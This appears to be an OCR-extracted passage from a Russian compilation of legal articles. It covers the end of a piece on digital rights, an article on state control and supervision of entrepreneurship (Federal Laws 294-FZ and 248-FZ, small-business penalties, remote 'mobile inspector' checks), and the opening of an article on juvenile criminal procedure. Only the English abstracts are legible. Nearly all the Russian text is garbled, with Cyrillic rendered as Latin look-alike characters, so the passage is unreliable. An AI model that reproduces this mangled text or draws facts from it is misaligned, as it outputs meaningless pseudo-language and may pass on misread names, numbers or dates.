perynupymoonme IMppoBble IpaBa, HECMOTPSs Ha CBOK IPOTPECCHBHOCTb, IOKa He
obecrieunBalOT YPPEKTUBHOrO MX NPHUMEHEHUs B peaibHOW mpaktuke. Lluppossie mpaBa B
CBOEH CYIIHOCTHU MPEJCTABIISIIOT COOOM COBOKYITHOCTh IPABOBBIX MPENNUCAHUI, 3aKPEIUIEHHBIX
B 1IM(poBOI popMe U peryaupyronX 00IEeCTBEHHbIE OTHOIIEHHS B paMKax HH(POPMAIIMOHHBIX
CHCTEM, IPU3HABAEMBbIX 3aKOHOJIATEIBCTBOM.

Taxum obpa3oM, 1dpoBbIe TpaBa, Oyaydu 3aKperI€HHBIMU B ['pakaaHcKoM Konekce
Poccuiickoit ~ @enepanuy, MPEeNCTaBIASIOT  COOOW  HOBBI  NPAaBOBOM  WMHCTPYMEHT,
obecrieunBarONIMi (PUKCAIMIO UMYILIECTBEHHBIX M MHBIX 00SI3aTEIbCTBEHHBIX TPaB B IH(POBOH
¢opme. HMx HOpMaTHBHOE 3aKpeIUieHHe MOJYEPKUBACT 3HAYMMOCTh LM(PPOBH3ALUU B
rpa’kIaHCKOM 000pOTe, OIHAKO OTCYTCTBUE YHH(DHUIIMPOBAHHBIX MOAXOA0B K UX NMOHUMAHHUIO,
peanu3alyy 1 3aluTe MOPOKAAET CYILECTBEHHBIE IPABOBHIE PUCKU.

CymectBytomye npoOieMbl, BKIIIOYAs HEYperyJupOBaHHOCTh BOIIPOCOB KOHTPOJS 3a
(GYHKIIMOHUpOBaHWEM  MH(MOPMAIIMOHHBIX  CHCTEM, OTCYTCTBHE  UYETKHX  KPUTEPHEB
pasrpaHudeHust MQPOBBIX MPaB M MHBIX MMYLIECTBEHHBIX IPaB, a TAKKE MPOTUBOPEYUs B
3aKOHOJATENIbHBIX (POPMYITHPOBKAX, 3aTPYAHSIOT 2 (Pp(heKTHBHOE PUMEHEHHE HOPM O IIH(PPOBBIX
npaBax Ha MpakTuke. B To ’xe Bpems, npuzHaHWe THOpHIHBIX (HOpM LU(DPOBBIX IPaB U
pa3paboTKka MEXaHH3MOB MX TIPaBOBOM 3alllUTBl CIIOCOOHBI CYIIECTBEHHO IOBBICUTH
YCTOHYMBOCTb M PO3PAUYHOCTh IPAXKIAHCKOT0 000poTa.

*k*k
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AHHOTALIUSA

B cratbe paccmaTpuBaeTcsi CYIIHOCTH W BHJBI TOCYAApCTBEHHOTO KOHTPOJS 3a
OCYIIIECTBIICHUEM TMPEINPUHUMATEIBCKOW JesTenbHocTd B Poccum. Ocoboe BHUMaHHE
yAensieTcs 3aKOHOJATENIbHBIM  aCleKTaM  PEryJaupOBaHUs TOCYIApPCTBEHHOTO KOHTPOJIA,
mpoOJieMaM MaJioro MPEANPUHUMATEIBCTBA, PA3IUYHSIM MEXKAY TOHATHAMH "KOHTPOIb"' W
"Hamzop", a Takke poiaM UU(PPOBU3AIMK B TOCYAAPCTBEHHOM KOHTpose. KccnemoBanue
HafpaBJIeHO Ha BbIABICHHE OCOOCHHOCTEH U  HEOOXOAMMOCTH COBEPIICHCTBOBAHUS
CYIIECTBYIOIIUX HOPM.

KiroueBble cJIi0Ba: KOHTPOJIb, HAA30p, PETrYIMPOBAHME, NPEANPUHUMATEIHLCTBO,
3aKOHOATEIILCTBO, U POBU3AIIHS.

Abstract

The article examines the essence and types of state control over the implementation of
entrepreneurial activity in Russia. Special attention is paid to the legislative aspects of regulating
state control, the problems of small business, the differences between the concepts of “"control™
and "supervision”, as well as the role of digitalization in state control. The research is aimed at
identifying the features and the need to improve existing standards.

Keywords: control, supervision, regulation, entrepreneurship, legislation, digitalization.

B CcOBpeMEHHBIX KOMMEPUYECKHX OIEpalysx BIUSHUE TOCYAAPCTBEHHOTO Haa30pa
UTpaeT KIFYEBYIO POJib, UTO MO3BOJISIET PETYAMPOBATH €0 MHOTOOOpa3HbIE ACMEKThI, COXPaHSISI
Npyd 3TOM TpaBa KaK HHAWBUAYAJIbHBIX MpEANPUHUMATENICH, TaK W IOPHIMYECKHUX JIHII.
OCHOBHO#M CTHMYI Ui 5TOrO MCCIIEAOBAHMS CBA3aH C aHAIM30M MPHPOJBI U Kiaccupukanuit
TOCYIapCTBEHHOTO HaJ30pa B OTHOIICHWH MPEANPUHUMATEIBCKON JIESTEeNbHOCTH. Takas
TIIATeNbHAs MPOBEpKAa MMEET OYEBUIHOE 3HAUEHME, TOCKOJIbKY OHAa OTpakaeT Mapajurmy
aJIMIHUCTPATHBHOTO HA[30pa, XapaKTePH3YIOIIYIOCS TIPEUMYIIIECTBEHHO OIICHOYHBIM HA/I30pOM
3a JIeATEIbHOCTbIO MPEANPUSATHH B COOTBETCTBUM C TpPeOOBAaHMSAMHU 3aKOHOAATENbCTBA,
KacarolmMMHUCS 3aKOHHOM KOMMEpPYECKOW JesTeNIbHOCTH. OTOT Haa30p CTPAaTeTHYeCKH
pa3paboTaH AJ1s1 TOro, 4TOObI HANPABUTh YKOHOMHUUYECKHE, (PMHAHCOBBIC, aIMUHUCTPATUBHbIE U
WCTIOJTHUTEIIbHBIC AaCMEKThl JIEATEIBHOCTH KOMMEPYECKMX OpraHM3allii Ha IEJOCTHYIO H
YCTOHYUBYIO TPAaCKTOPUIO DPA3BUTHs TIOCYAApCTBA. DTO BKIIIOYAET B CeOs yIOBJIETBOpEHHE
OCHOBHBIX IOTPEOHOCTEW HaceNeHHs, pa3yMHOE HCIOJIb30BAaHUE IPUPOJIHBIX PECYPCOB,
COOJIIO/IEHHE COLMAIBHO-3KOJIOTHYECKUX HOPM M oOecrieueHne KauecTBa pe3ynbraToB. Llemun
rOCYAAPCTBEHHOIO PEryJlMpoBaHUs NPEANPUHUMATEIbCKON JEATENbHOCTH 3aKJIIYaloTCs B
CMATYCHUH W WCHPABICHUU IPAKTUKH XO3SHCTBYIOMIUX CYOBEKTOB, KOTOpas MOTEHIMAIBHO
MOJKET MOBJIHUATh HA JUHAMUKY PbIHKA TOBAPOB U YCIYI. DTO PEryIUPOBAHUE CIIOCOOCTBYET
CO3ZIAHUIO  YCJIOBHMM, TMpHU KOTOPBIX MPEANPHHUMATENBCKAs JAEATEIbHOCTh  SIBISCTCS
eAMHOO00pa3HOH, A((HEKTUBHOM, JTOCTYITHOM, HEMPEPHIBHON, BHICOKOKIACCHOM, OE30MacHOW H
J0OPOCOBECTHO OCYIIECTBIsIEMOH [3].

[IpaBoBas XapakTepUCTHKa TOCYJapCTBEHHOro Haja3opa chopMmyiaupoBaHa B cTaThe 2
®enepanbHoro 3akoHa Ne 294 kak 1€ TEIbHOCTD YIIOJIHOMOUYEHHBIX TOCYAPCTBEHHBIX OPraHOB,
HarfpaBJIeHHAs Ha MPeayNpeKACHUE, BbISIBICHHE U MPECEUCHUE HapYIICHUH 3aKOHOJATeIbCTBA
IOPUAMYECKUMH JIMLIAMH W UHIUBUAYAJIBHBIMA TPEANPUHUMATEISIMA. OTO JIOCTHUTAeTCsl C
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ITOMOUIBE0 OPraHU30BAHHBIX HHCIEKIMOHHBIX MEPONIPUATHI, IPEBEHTUBHBIX MEP B OTHOLLIEHUH
HapyLICHUH 3aKOHOJNATENIbCTBA, IPUHYIUTCIBHBIX JCUMCTBUA W MeEp II0 HCIPABICHUIO
MOJIOKEHUS, TIPETyCMOTPEHHBIX 3aKOHOaTeNbCTBOM Poccuiickoit deneparmu. Kpome toro, atu
OpraHbl OCYIIECTBIISIIOT CUCTEMATUYECKHI HaJ30p 3a COONIOZCHUEM 00s3aTeNIbHBIX YCIOBHUA B
COYETAaHMM C AaHAIM30M M NPOTHO3MPOBAHUEM YPOBHSA COOJIIOJCHUS ATUX TpeOOBaHUIA
NPUBJICYCHHBIMUA KOMMEPUYECKUMU CyObEKTaMH.

OcHOBHBIM 3aKOHO/IATENIbHBIM aKTOM, PEryJIHPYOIINM HaA30p 3a
NIPEANPUHUMATENBCKON AeATeNbHOCThI0 B Denepanun, siasercs PenepanbHblil 3akoH Ne 294,
Ota 3aKkoHO/aTeNbHas 0a3a yCTaHABIMBAET OCHOBOIIOJIATAIOUIYI0 CXEMY TOCYJapCTBEHHOTO
Ha/130pa, HO ONpENENSIET JMIIb 3JIEMEHTapHbIE MTapaMeTphl TaKOIro yIpasieHud. B HeM ueTko
YKa3aHO, 4TO JETAJbHOE PEryJupOBaHUE [JBAALATA TPEX Pa3JIMYHBIX  KaTeropuiu
NpeANPUHAMATEIBCKON ACATETBHOCTH - OT HAJIOTOBOW 710 OAHKOBCKOM, CTPAXOBOW U APYTUX —
PEryiupyeTcs MOJI0KEHUSIMH, U3JI0KEHHBIMU B YacTh 3.1 ctaTthu | BBIIEYNOMSHYTOIO 3aKOHa,
HapsAy ¢ APYTUMH COOTBETCTBYIOLIMMHU OTPACIEBBIMA HOPMAaTUBHBIMU aKTamH [1].

bonee Toro, Oosnee neTanpHBIN aCMeKT roCyJapCTBEHHOTO HA30pa 3aKperieH B yactu 4
cratbu 1 ®epepanpHoro 3akoHa Ne 294, koropas BoO3JaraeT Ha CIEIUAIW3MPOBAHHOE
OTpPacJIEBOE 3aKOHOJATEIBCTBO 33a4y ONPENEIECHHUs IIPOTOKOJIOB HA/130pa Ul COPOKA YETHIPEX
BUJIOB KOHTPOJS. OTO BKJIIOYAeT, HO HE OrPAaHMYMBAETCA TaKUMH CEKTOpaMH, Kak
AQHTUMOHOIIOJIbHASI TIPAKTHKA, JIMLEH3UPOBAHUE, MUIpPALMs, OSKOJOTMYECKUE CTAHIAPTHI,
pekiiama, a TaKke HOPMAaTHBHO-TIpaBoBasi 0a3a, peryiupyomas MOoKapHyr Oe30MacHOCTb,
3eMJIEYCTPOMCTBO U CTPOUTEIIBHBII HAA30D.

PacripocTpanenHo#t 1, o cyTH, pyHAaMEHTATIHLHON MPOOIEMOM B POCCHUICKUX YCIIOBHUSIX
ABIISIETCS. OTCYTCTBHUE ILIEJIOCTHOTO, CaMOCTOATENIBHOIO 3aKOHOJATEIBHOIO KOpIyca, KOTOPBIN
KOHKPETHO OIpeJieisii Obl yCIOBUS, MPH KOTOPHIX CYOBEKThI Majioro OM3HECa OCYIIECTBISIOT
CBOIO JCATEIIBHOCTD M B3aUMOJIEHCTBYIOT KaK C FOCYJapCTBEHHBIMU OpPraHaMH, Tak U C IPYTUMHU
KOMMEPUYECKUMHU OpraHu3aIisIMU. ITOT Mpode 0cOOEHHO 3aMeTeH B cpepe rocy1apcTBEHHOTO
PEryJIupoBaHusl AEATeTbHOCTH Mayioro Oum3Heca. CylecTBylomias 3akoHOAaTenbHas 0a3za He
MIPOBOJUT AJECKBATHOTO PAa3MYMA MEXIy KPYNMHBIMM U MalbIMHU TMPEINPUATHSIMU C TOUYKU
3pEHUs] YrOJIOBHOM OTBETCTBEHHOCTH. He cymiecTByeT rpaaydpoBaHHOW IIKaibl IITpados,
YUUTHIBAIOIIEH MacCIITaObl MPEANPUSATHS, YTO HENPONOPLUOHAIBHO OOpEMEHSET MENKHe
opraHu3aiuu mrpadamu, KOTOpble, XOT U MUHUMAJIbHBI JUIsd 0ojiee KPYIHBIX KOHTPAareHTOB,
MOTYT CO3/1aTh 3HAUUTEIbHYI0 (UHAHCOBYIO HAarpy3Ky JUIsi HEOOJbIIMX MPeIIpUsSTHIA.
IIpumepoM 3TOro MOTYT CIIY)KUTh HOpPMaTHBHBIE mNoyiokeHUsT PenepanbHoro 3akoHa «O
CaHUTAPHO-3IUAEMUOJIOTHYECKOM OJIaronoydu HaCeNeHUs», TIe MOpor MTPpadHbIX CaHKLIUI
HaumHaeTcs: ¢ 200-kpaTHOro pa3mMepa MHHHMAIBLHOW 3apa0OTHOM TUIAThl. DTa KaparelbHas
Mepa, MpUMEHsieMasi K MEJKUM MPEeANPHUATUSM PO3HUYHOW TOProBiIU (TaKUM, KaK KHOCKHU U
HeOOJbIIMEe BUTPHHBI B AapEHJOBAHHBIX TOPrOBBIX ITOMEIICHHUAX), MOXKET TPHBECTH K
MIPEKpaIICHUIO OM3HEeca sl TeX, KTO He B COCTOSIHUY HECTH Takoe (PMHAHCOBOE OpeMs.

CrnoxHast cucTeMa peryaupoBaHUs MPEANPUHUMATENBCKOW NEsSTENbHOCTH, TIIyOOKO
YKOpPEHUBIIAsICA B TEPEKUTKAX COIMATMCTUUECKUX TPATUIMM, TpeOyeT CII0KHON CHUCTEMBI
MIPEABAPUTEIBHOIO PErYIMPOBaHMs. JTa CUCTEMAa NPEAYCMATPUBAET TILATEIbHYIO OLICHKY
3aKOHHOCTU TIEpe]] PEruCTpalyel OPUIAWYECKUX JIML, JIMIEH3UPOBAHUE MPEANOIaracMbIxX
Ou3Hec-onepanuii 1 npeBapUTEIbHYI0 CEPTU(HUKAIIMIO TOBAPOB, KOTOPHIE €Ille HE MOCTYIHIN
Ha pbIHOK. OIHAaKO caMa MpHpO/ia TAKOTO MPEIBAPUTEIBLHOIO KOHTPOJISI CBUAETENBCTBYET O €T0
¢byHnameHTanbHOM  HEd((GEKTUBHOCTH; OHHM  MpEAHA3HAYCHbl HE JUIi  MOHHUTOPWHTA
3¢ GEKTUBHOCTH WITH KauecTBa Pe3yNbTaToB, a CKOpee IS TIIATETbHON MPOBEPKH COOTBETCTBUS
JOKYMEHTAlMU. JTO HEOTHEMIIEMOE OTPAaHUYEHHUE HE MO3BOJISIET IPUMEHATH MIPEIBAPUTEIbHbBIN
KOHTPOJIb B KAYE€CTBE KOMILJIEKCHOIO HHCTPYMEHTA FOCYAAPCTBEHHOIO peryanpoBanus. Kpaitne
Ba)XKHO, YTOOBI €0 UCIIOJIb30BaHUE OIPAaHUYMBAIIOCH CLIEHAPUSIMU, B KOTOPBIX aJIbTEPHATUBHBIC
MeXaHU3MbI PETYJIUPOBAHUS HE B COCTOSHUM B IOCTATOYHOM CTENEHN 00ECTIEUUTh LIETOCTHOCTh
TEXHOJIOTMYECKUX MPOLIECCOB WM 0€30MacHOCTh NPOIYKIIMY, OOeCTIeuBasi TEM CAMbIM 3alLUTY
OOIIIECTBEHHBIX HHTEPECOB [2].
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B oTBer Ha ocTpyr0 HEOOXOAMMOCTD 3aIUTHI MPAB M 3aKOHHBIX UHTEPECOB CYOBEKTOB
MPEANPUHUMATENILCKOW — JIeATETbHOCTH, OCOOCHHO MalblX mpennpustuii, Ilpe3umeHt
Poccuiickoit ®enepanuu 29 urons 1998 roxa mznan Ykaz Ne 12730 «O Mepax 1o yCTpaHEHHIO
aJIMUHHUCTPATUBHBIX OapbepoB HAa IMYTH pa3BUTHS MPEINPUHUMATEILCTBA». BrocnencTsuu
[TpaBurensctBO Poccuiickoit denepanun mznano Yka3z Ne 12730 «O mepax mo yCTpaHEHHIO
aJIMUHHUCTPATUBHBIX OapbepoB Ha TYTH Pa3BUTUS NpPEANPUHUMATENLCTBA». Poccuiickas
Oenepanusa yrepawia dDenepalnbHyl0 MOporpaMMy TOCYAAPCTBEHHOM MOMJIEPKKA MaJIOro
npeanpuHuMaTenscTBa Ha 1998-1999 roxpr Vkazom Ne 697 or 3 mrons 1998 roma. Ota
MporpaMMa KOHKPETHO HalpaBlieHa Ha yCTpaHEHHE aJIMUHHUCTPAaTHUBHBIX OapbepoB Ha IyTH
MPEMPUHUMATENBCKON JESITETbHOCTH MYyTEM ONTHUMM3AIMK JIEATEIbHOCTH PETYIHPYIOIINUX
OpraHoB.

Jo 1 wmons 2021 roma ocHOBHas TipaBoBas 0a3a, 3alUINAioNias MpaBa
MpeAnpruHUMAaTeNe 0T MPUMEHEHHUs] MEp TOCYIapCTBEHHOIO M MYHHIIMIIAIBHOIO KOHTPOJIS,
Obu1a 3akperuieHa B @enepanbHOM 3akoHe OT 26 nexadpst 2008 roga Ne 294-D3 «O 3ammre mpas
IOPUIUYECKUX JIMI W  WHAMBHIAYaJbHBIX IpEeINpUHUMATENE TMpPU  OCYLIECTBICHUU
TOCYAapCTBEHHOTO KOHTPOJISI». DTOT 3aKOH ObUT 3aMeHeH DenepanbHbM 3akoHOM Ne 248-D3,
BcrynuBMM B cuity 31 wumrons 2020 roga, kotopbiit Berynwi B cuiy 1 wrons 2021 roga u
M3MEHWI CTPYKTYpPY TOCYAApCTBEHHOIO M MYHMIIMIIATBHOTO KOHTPOJISI Ha BCEH TEPPUTOPUHU
Poccuiickoit denepanyn. DTa 3aKOHOMATEIBHAS ABOJIIONNS 3HAMEHYeT COOOW KapaMHAIbHBIN
CIBUI B CTOpPOHY Oojee COBEepIICHHOW M 3S(PQPEKTUBHONH HOPMATHUBHO-TIPABOBOM 0a3bl,
HafpaBJIeHHOW Ha co3laHue Oojee OjarompusTHOM aTMocdepsl Uis pocTa OH3Heca U
WHHOBAITWH.

B coBpemeHHOI cucTeMe ToCyJapCTBEHHOTO YIpPAaBJICHUS KIIIOUeBas POJib OTBOIUTCS
MEXaHU3MaM  KOHTpPOJIL. OTH  MEXaHM3Mbl  COCTaBJSIIOT ~ CYIIECTBEHHBIM  CErMEHT
BCEOOBEMITIONIECH CUCTEMBI TOCYAApPCTBEHHOTO pEryaupoBaHus. JTa cdepa peryimupoBaHuUs
pacrpocTpaHsercsi, B YaCTHOCTH, Ha chepy MpearpHHAMATEIBCKON EATeIbHOCTH, B paMKax
KOTOpOl ToCynapcTBO TIIATENBHO CIEAUT 32 COONIOJCHHEM IOPUIUYECKHUMH JIUIAMHU
YCTAHOBJICHHBIX TpeOoBaHmil. CremyeT OTMETHTh MPHHATHE CIICIUAIBLHOTO 3aKOoHa O
TOCYAapCTBEHHOM HAJ30pe, MOIYEPKUBAIOIIECTO 3aKOHOATEIbHYIO OCHOBY, TOJIEP>KHUBAIOIILYIO
TaKo€ yIpaBJICHHUE.

X0oTsl TOCYIapCTBEHHOE pErylIHpOBaHHE, HECOMHEHHO, BKIIOYAET B €O AaCMeKTHI
rOCYJITapCTBEHHOTO KOHTPOJISI, COXPAHICTCS 3aMETHBIM 3aKOHOAATEIBHBIN BaKyyM, KOHKPETHO
KacarolIMiCsl peryaTupOBaHUs TPEANIPUHUMATEIHCKON TESATETFHOCTH, BBIXOASAIICH 32 OObIYHBIE
paMKH TPSMOTO PEryaupoBaHusl Ou3Heca. DTOT Npolen MposABISETCS B Pa3pO3HEHHOCTH
HOPMATUBHBIX MIPABOBBIX IOKYMEHTOB, KOTOPBIE, HECMOTPS Ha UX OOLIMPHOCTH, HE OXBATHIBAIOT
BECh CIIEKTP TOCYJAapCTBEHHOI'O peryaupoBaHus. TakuM oOpa3oM, OTCYTCTBUE CIIELUATIBLHOIO
3aKOHA, HAMPaBJICHHOI'0 HA TIIATEJILHOE PETYIMPOBAHUE MIPEANTPUHUMATEIBCKON JEATEIHOCTH,
paccMmaTpuBaeTcs Kak mpoOest B ICUCTBYIOIICH TpaBoBoii 6ase [3].

[losTromy mpennaraercsi pacIMPUTh CYIIECTBYIOIIMM 3aKOH O TOCYJapCTBEHHOM
KOHTPOJIC, BKJIFOYMB B HETO OT/EIBHYIO TJIaBy, YYHUTHIBAIOIIYIO HIOAHCHI TOCYIApCTBEHHOTO
KOHTpOJII B MPEINPUHUMATEIILCKOM CeKTope. B 3TOM JOMOJIHEHUH CIEAyeT YeTKO
chopMynupoBaTh  paziuuHble  (OPMBI TOCYIApPCTBEHHBIX OPraHOB,  YHOJIHOMOYEHHBIX
OCYILIECTBJISITh KOHTPOJb, OIPEICIUTh HAIPABIEHHOCTh HX PETYIUPYIOMINX JCHCTBUA U
nopoOHO oOmucaTh MPOLETYypHbIE HIOAHCHI, MPUCYIIME KOHKPETHBIM BHJIaM KOHTPOJIHOM
JESTeNILHOCTH.

bonee Toro, 3akoH O rocyaapcTBEHHOM KOHTpOJi€, 3aTparuBasi OJHOUMEHHYIO TEMY,
TaKke TpeOyeT W3y4YeHHs B3aMMOCBSI3U MEXKAY MOHATHSAMH «HAI30p» M «KOHTPOIbY. JTH
TEPMHUHBI, YAaCTO HCIIOJB3yEMbIe KaK B3aMMO3aMEHSEMbIE B IOPUIMUECKUX TEKCTaX, BHI3BIBAIOT
CHOPBI OTHOCHUTEIBHO UX TOYHOTO pa3rpaHudeHusi. [1o MHEHUIO HEKOTOPBIX YUEHBIX-IOPHCTOB,
XOTSI 3TU TOHATHUS TECHO CBsI3aHbl M HWHOIJIA TEPeceKaroTCs, OHU O0JalaloT pPa3IUYHBIMU
xapakrepuctukamu. «KOHTpoJib», HampuMmep, XapakTepU3yeTcsi €ro MNPUMEHUMOCTBhIO K
MOJJTYMHEHHBIM OPraHU3alKsM, €0 MOJIHOMOYHMSIMHU, TTO3BOJISIONIMMHU BIUATH HA ONEPALMOHHBIE
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U DKOHOMUYECKHE JUPEKTUBBI PACCMAaTPHBAEMON OpraHU3alluy, a TaKkKe OObEKTHBOM OLIEHKH,
4yepe3 KOTOPBIM JEATENbHOCTh TAKUX OpraHu3alliii OLIEHMBAETCS HA IIPEIMET 3aKOHHOCTH U
1esnecoo0pasHocTH. OCYILECTBIEHUE TAKOIO KOHTPOJIS MOXKET OCYLIECTBIATHCS LIEIBIM PSIOM
OpraHu3alMi, BKIII0Yask TOCYIapCTBEHHbIE, BEIOMCTBEHHbBIE, IPOMBIIIUICHHbIE U OOILIECTBEHHBIE
OpraHu3alliy, B 3aBUCHMOCTH OT KOHKPETHBIX IIOJHOMOYMH M c(epbl IOPHUCAUKLUH,
IIPOIMKTOBAHHBIX HAJ30PHBIM OPTaHOM.

Takolf neTadbHBIM ITOJXOJ HE TOJBKO IIOBBIIIACT SICHOCTh 3aKOHOIATEILCTBA, HO U
obecrieunBaeT Oosiee HAZEKHYIO OCHOBY ISl PETYJIMPOBAHUS CIIOKHOM TpeINpUHIMATEIbCKON
JEATeNIbHOCTH, 4YTO IOTCHLIMAIbHO MOXKET TMpHUBECTH K Oojiee yNOPSAAOYEHHOMY H
3 PEKTUBHOMY YTIPABICHUIO.

Hanzop, nesrensHOCTb, OCyIIECTBIsieMas UCKIIOYUTENIBHO  TOCYJapCTBEHHBIMU
OopraHamy, IpEANoaracT HX HENpPEepbIBHBIA M METOAWYHBIA HAA30p, HANpPABICHHBIA Ha
BBIBJIICHHE HApYILCHUH 3aKOHOJATENbCTBA B OpraHM3alMAX WIM (HU3MYECKUX JIMIAX, 3a
KOTOPbIMHM OHH CJIEJAT. DTOT NPOLIECC MCKIIOYAET KaKyl0-TM00 HUEePapXUUECKYIO CBSI3b MEKIY
HaJ[30pHBIMU U TIOIHA/30pPHBIMM OpraHamMu. boriee TOro, OH OIIEHMBAET HCKIIOUUTEIBHO
3aKOHHOCTb JEMCTBUH, MpsIMO 3ampenias Jiro00oe BMEIIATEeIbCTBO B YIPAaBICHUYECKUE WU
¢uHaHCOBBIE (DYHKLINH KOHTPOJIMPYEMBIX OpraHU3alui.

W3 BBILIEYNOMSHYTOTO aHajM3a CIEAYET, YTO TEPMHUHBI «KOHTPOJIb» M «HAI30p»,
HECMOTps Ha UX MCIOJIb30BAHNE B KAYECTBE CHHOHUMOB B IOPHIMUYECKOM SI3bIKE, HA CAMOM JIENIe
0003HAYalOT pa3Hble MOHATHSA. OTO CMEIIEHHE OYEBHIHO B HA3BaHUSAX Pa3IMUHBIX
rOCYIapCTBEHHBIX OPraHOB, Ha KOTOPbIE BO3JIOKEHBI PETYNUpPYIOIUe (DYHKIMH, OCOOCHHO B
CEKTOpaxX, CBS3aHHBIX C IpeIIpUHUMATENbCKON JesrensHocThio. Hampumep, PenepanbHas
ciy)k0a 1o Haa3opy B cdepe IpUpoaoNoIb30BaHMs JIEHCTBYET HE KaK Ha/I30pHBIM OpraH, a
CKOpee, KaK OpraH KOHTpOJIS, XOTS M3 €€ Ha3BaHMs CleAyeT oOpaTHOE. JTO HENpaBUIBHOE
Ha3BaHUE HE SBISETCS YHUKaIbHbIM. B Poccum opranbl mpokypaTypsl oOmpeieieHbl Kak
HAa/J30pHBIE  OpraHbl, 4To MOOYXKJAAeT pPEKOMEHIOBaTh M3MEHUTh HAa3BaHUS  TAaKHUX
perynupyommx opranoB ¢ «®DenepanbHas ciayx0a 1mo Haa3opy B cdepe...» Ha «DenepanbHas
ciryx0a 1o KOHTPOJIIO B cepe...», uTo Oosiee TOUHO OTPaXKaeT UX UCTUHHYIO () YHKLIHIO.

Oro 00CYXJEHHE TakKe TIOAYEPKUBAET TIOBCEMECTHBI OXBaT LU(PPOBBIMU
npeoOpa3oBaHUsAMH BCEX CEKTOPOB OOIIECTBa, BKIIIOYAs TOCYAApPCTBEHHOE PETYIHPOBAHUE.
TexHuueckuii nporpecc CHocoOCTBOBAJ HMHTErpalMyd JAMCTAHIMOHHBIX METOAOJIOTHH B
HOpMaTHBHYIO 0a3y. B pamkax HOBaTOPCKOW MHHWIIMATHBBI, HaMeueHHOW Ha 2024 rox, Takue
opraHu3alnuy, Kak MHWHHACTEPCTBO IO Upe3BbIYANHBIM CHUTyauusM, PocTexHagzop u
Poc3npaBHaazop, OyayTr HcCHoOnb30BaTh MNpwiokeHHe «MOOWIBHBI HMHCHEKTOpY  JUIs
MIPOBEJICHUS] YJAJIEHHBIX MPOBEPOK KOMMEpPYECKHUX MpeAnpusaTuil. Oxuumaercs, uYTO 3TU
udpoBeie  mpoBepku cocTaBAT 20% OT BceX MPOBEPOK, MPOBOIUMBIX PETYIHUPYIOIIMMU
OpraHamMM B OTHOLICHHMM XO3SIMCTBYIOIIMX CYOBEKTOB B Te4YeHHE Troja. OTOT CIBHUT
MOJYEPKUBAET IBOJIFOLIMIO MPAKTUKK PETYIMPOBAHUS B OTBET Ha TEXHUUYECKHIA IIpOrpecc.

Tak, rocynapcTBEHHbII KOHTPOJb SBIISIETCSI Ba)XKHbIM 3JIEMEHTOM pPETYJIUPOBAHUS
NpEeANPUHUMATENBCKON  JEATEIBHOCTH U CIOCOOCTBYET — COOJIONEHHIO  TpeOOBaHMA
3akoHOJaTeNbeTBa. COBEPIICHCTBOBAHUE 3aKOHOJATENBCTBA, AU depeHInanusl KOHTPOIS MO
cdepaM U BHeIpeHUE IU(POBBIX TEXHOJIOTHH CIIOCOOCTBYIOT YNPOIIEHUIO KOHTPOJIS U 3aIluTe
IIPAB MPEAPUHUMATENICH.
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AHHOTAIUSA

B cratee wWccnemoBaHa < JMHAMHUKAa ~IPABOBOTO  PETYJIHUPOBAHUS  YTOJIOBHOTO
CYAONPOM3BOACTBA C YyJYaCTUEM HECOBEPILIEHHOJIETHUX. ABTOpP PAcCKpHIBAET HCTOPUYECKHUE,
COIlMANIbHBIE W  TpaBOBble  (DAaKTOPBI, OOYCIOBUBIIHME HEOOXOJUMOCTh  BBIIEICHUS
crneunuUecKuX MpoIeayp M MPHUHIUIOB, HAIMpPaBICHHBIX Ha 3alIUTy IpaB U HHTEPECOB
HECOBEPIIICHHOJICTHUX OOBUHSIEMBIX, IOJ03peBacMbIX U cBuiereneil. Ocoboe BHUMaHUE
yIensercs HBOJIONMM TOAXOAOB K mpoOieMe OBEHalIbHOM  IOCTHIIMH,  BIMSHHIO
MEXTYHAPOIHBIX IPABOBBIX aKTOB HA PA3BUTHE HAIIMOHAIIBHOTO 3aKOHOAATEIbCTBRA.

KuroueBblie cj10Ba: yrojioBHOE CyIONPOM3BOJICTBO, HECOBEPLIEHHOIETHNHM, HAKa3aHUE,
chpaBneHne, OTBCTCTBECHHOCTH HCCOBCpIHCHHOJ'IeTHI/IX.

Abstract

The article examines the dynamics of the legal regulation of criminal proceedings
involving minors. The author reveals the historical, social and legal factors that led to the need to
identify specific procedures and principles aimed at protecting the rights and interests of juvenile
defendants, suspects and witnesses. Special attention is paid to the evolution of approaches to the
problem of juvenile justice, the influence of international legal acts on the development of
national legislation.

Keywords: criminal proceedings, juvenile, punishment, correction, responsibility of
minors.

JlnutenbHOE BpeMsi HECOBEPIIEHHOJIETHE HE PAacCMATPUBAIOCH KaK OCHOBAHHE IS
0COOBIX TPOLIEAYP B YTOJIOBHOM CYAONMPOH3BOJCTBE; HECOBEPIICHHOJIETHHUE MPUBIEKAINCH K
OTBETCTBEHHOCTH HapaBHE cO B3pociabMU. JInmb k koHIy XVIII Beka 3apoaminocs nmoHuMaHue
JIETCTBA KaK OMpEAETICHHOrO 3Tarna Pa3BUTHS JIMYHOCTH, TPEOYIOIIErO0 OCOOOro Moaxoaa co
CTOPOHBI TOCYIapPCTBA.

[lepBble 3aKOHOAATENBHBIE IIATM B 3TOM HAIPaBJIEHUH OTHOCATCA K KoHIy XIX Beka.
VYcraB yrojioBHOro cyaonpou3BoicTBa 1864 roma, XOTh U HE BBIAEISUT HECOBEPIIEHHOJIETHUX
KaKk OCOOBIX CYOBEKTOB Mpollecca, BBEN 3alpeT Ha CBUACTENBCTBOBAHME IMOJ MPUCATON IS
nereir mumammie 14 yet u o0s3arenbHOE ydacThe 3aKOHHBIX TPEACTaBUTENEH B JIelax C WX
yuactieM. [Ipu 3T0M, OCHOBHAs 1I€7b MPABOCYIUSI B OTHOIIEHUN HECOBEPIICHHOJIIETHUX B TOT
TIEPUO/T 3aKJTI0YAIACh B UCTIPABJIICHHUH, @ HE B CTPOTOM HaKa3aHUU.

Konerr XIX Beka xapakTepuszyeTcsi HETaTUBHOW TEHACHIMENW pOCTa MNPECTYNMHOCTH
HECOBEPILICHHOJIETHUX JIUI, MOCKOJbKY OOJIBIIMHCTBO JE€Tel OKa3ajoch B HEOIaronpusTHON
cpene, JIOCTaTOYHO AaKTUBHO MCHONB30BAICS TSDKENbIA  JETCKUM  TpyH, MPOLBETAIIO
OpOSKHUYECTBO, IOMPOLIAMHNYECTBO M JIeTCKas NpocTUTylus. B cBere storo mmpokoe
pacrpocTpaHeHUe MOIYy4aloT OOIIECTBEHHBIE OpraHu3alliy, IeATeIbHOCTh KOTOPBIX CBSI3aHA C
